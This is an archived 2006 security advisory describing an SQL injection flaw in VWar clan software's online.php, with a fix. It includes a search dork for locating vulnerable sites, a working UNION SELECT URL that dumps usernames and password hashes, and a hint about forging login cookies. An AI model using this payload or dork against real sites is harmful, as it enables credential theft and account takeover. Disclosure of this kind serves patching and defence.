exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

vwar150.txt

vwar150.txt
Posted Aug 27, 2006
Authored by brOmstar | Site insecurityresearch.org

VWar versions 1.5.0 R14 and below suffer from a SQL injection flaw.

tags | exploit, sql injection
SHA-256 | f428e395e863301b6ad897a622d9ea0678923dd3b1003c828d67f07de24e4a37

vwar150.txt

Change Mirror Download
 
.:[ insecurity research team ]:.
.__..____.:.______.____.:.____ .
.:. | |/ \:/ ___// __ \:/ _\.:.
: | | | \\____\\ ___/\ /__ :. .
..: |__|___| /____ >\___ >\___ >.:
.:.. .. .\/ .:\/:. .\/. .:\/:
. ...:. .advisory. .:...
:..................: 1o.o8.2oo6 ..


Affected Application: VWar <= v1.50 R14


. . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


Discoverd by: brOmstar

Team: Insecurity Research Team

URL: http://www.insecurityresearch.org

E-Mail: brom0815@gmx.de



. . :[ insecure application details ]: . . . . . . . . . . . . . . . . .


Typ: Remote [x] Local [ ]

Remote File Inclusion [ ] SQL Injection [x]

Level: Low [ ] Middle [ ] High [x]

Application: VWar

Version: <= v1.50 R14

Vulnerable File: extra/online.php

Vulnerable Variable: n

URL: http://www.vwar.de

Description: Virtual War is a tool for gaming clans.

Dork: intext:"Powered by: Virtual War v1.5.0"



. . :[ code snippet ]: . . . . . . . . . . . . . . . . . . . . . . . . .


line 63: $query = $vwardb->query("

line 64: SELECT memberid, name, lastactivity

line 65: FROM vwar".$n."_member WHERE lastactivity > ".(time() -

$onlinetime * 60)."

line 66: ");



. . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


example: if you want a list of userid/username/password's try this:




http://[vwarpath]/demo/extra/online.php?n=_member%20WHERE%20memberid=-999%20UNION%20SELECT%200,CONCAT(memberid,0x3A,name,0x3A,password),2%20FROM%20vwar_membe

r%20%20/*


encrypt the md5-password again with md5 and throw it in a cookie... :-)



. . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .


o1.) open extra/online.php

o2.) take a look at the following lines:

41: if( !defined ("VWAR_COMMON_INCLUDED") )

42: {

43: $vwar_root = $vwar_xroot;

44: require_once ( $vwar_root . "includes/functions_common.php" );

45: }

o3.) add between line 44 and 45 this:

require_once ( $vwar_root . "includes/_config.inc.php" );

o4.) done!



. . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .


buzzdee, camino and my lovely, sexy girlfriend!
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close